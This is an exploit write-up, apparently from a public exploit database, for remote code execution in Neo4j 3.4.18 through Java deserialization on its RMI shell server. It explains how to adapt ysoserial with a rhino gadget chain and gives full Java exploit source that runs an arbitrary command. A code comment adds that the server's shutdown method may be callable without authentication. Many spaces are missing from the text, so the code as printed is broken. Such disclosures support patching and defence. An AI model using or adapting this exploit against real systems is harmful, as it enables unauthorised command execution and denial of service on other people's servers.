# ExploitTitle:Neo4j3.4.18-RMI based RemoteCodeExecution(RCE)
# Date:7/30/21
# ExploitAuthor:ChristopherEllis,NickGonella,WorkdayInc.
# VendorHomepage: neo4j.com
# SoftwareLink: https://neo4j.com/download-thanks/?edition=community&release=3.4.18&flavour=unix
# Version:3.4.18
# Tested on:Windows,MacIn older versions of Neo4j, when the shell server is enabled,RCE can be obtained via a Java deserialization exploit. In the ShellServerinterface, a method setSessionVariable(Serializable paramSerializable,String paramString,Object paramObject)exists. Neo4j also has a dependency (rhino 1.7.9)withknownRCE gadget chains. By crafting an object toabuse these gadget chains, one obtain RCE via the shell server.
To create this from scratch using Java, you’ll need tomodify the ysoserial library toinclude the payload found here https://github.com/mozilla/rhino/issues/520(an update of the existing rhino gadget) as well as modify the ysoserial POM file toinclude the correct version of rhino. Rebuild ysoserial and include it on your exploit’s classpath. From there, you can use the ShellServerinterface and associated code found in neo4j-shell-3.4.18.jar tomake your client aware of the server’s method stubs. Now you should be able tocall the setSessionVariable method from your exploit/client via RMI.
In your exploit, use ysoserial togenerate a payload as follows:Object payload =newRhinoGadget().getObject(COMMAND), and then call the setSessionVariable withthe payload in the paramObject parameter. The other two parameters can be anything. This will cause the server todeserialize your payload, triggering the gadget chain, and running your command.
It is worth noting that we chose toexploitthis method and the paramObject parameter as this was the most direct, any method that takes in an Object(other than String or a primitave) is likely vulnerable as well.packagerunnable;importpayloads.RhinoGadget;importsun.rmi.registry.RegistryImpl_Stub;importjava.io.Serializable;importjava.rmi.Naming;importorg.neo4j.shell.ShellServer;publicclassExploitB{publicstaticStringCOMMAND="touch /tmp/test.txt";publicstaticStringTARGET="rmi://127.0.0.1:1337";publicstaticStringTARGET_BINDING="shell";publicstaticvoid main (String args[])throwsException{boolean validBinding =checkBinding(TARGET_BINDING,TARGET);if(!validBinding){System.out.println("[-] No valid binding found, shell server may not be listening. Exiting");System.exit(0);}System.out.println("[+] Found valid binding, proceeding to exploit");ShellServer server =(ShellServer)Naming.lookup(TARGET+"/"+TARGET_BINDING);Object payload =newRhinoGadget().getObject(COMMAND);//Here server.shutdown may also be callable without auth, just in case the exploit fails and you just want to turn the thing offtry{
server.setSessionVariable(newClientId(),"anything_here", payload);}catch(ExceptionUnmarshalException){System.out.println("[+] Caught an unmarshalled exception, this is expected.");}System.out.println("[+] Exploit completed");}/**
* Just a helper method to validate that the rmi binding we're looking for is present
* @param bindingToCheck the binding you'd like to check for
* @param targetToCheck the rmi registry to check against
* @return true if the binding is present, false if not
*/publicstaticbooleancheckBinding(String bindingToCheck,String targetToCheck){System.out.println("Trying to enumerate server bindings: ");try{RegistryImpl_Stub stub =(RegistryImpl_Stub)Naming.lookup(targetToCheck);for(String element : stub.list()){System.out.println("Found binding: "+ element);if(element.equalsIgnoreCase(bindingToCheck))returntrue;}
returnfalse;}catch(Exception ex){returnfalse;}}publicstaticSerializablenewClientId(){returnInteger.valueOf(1);}}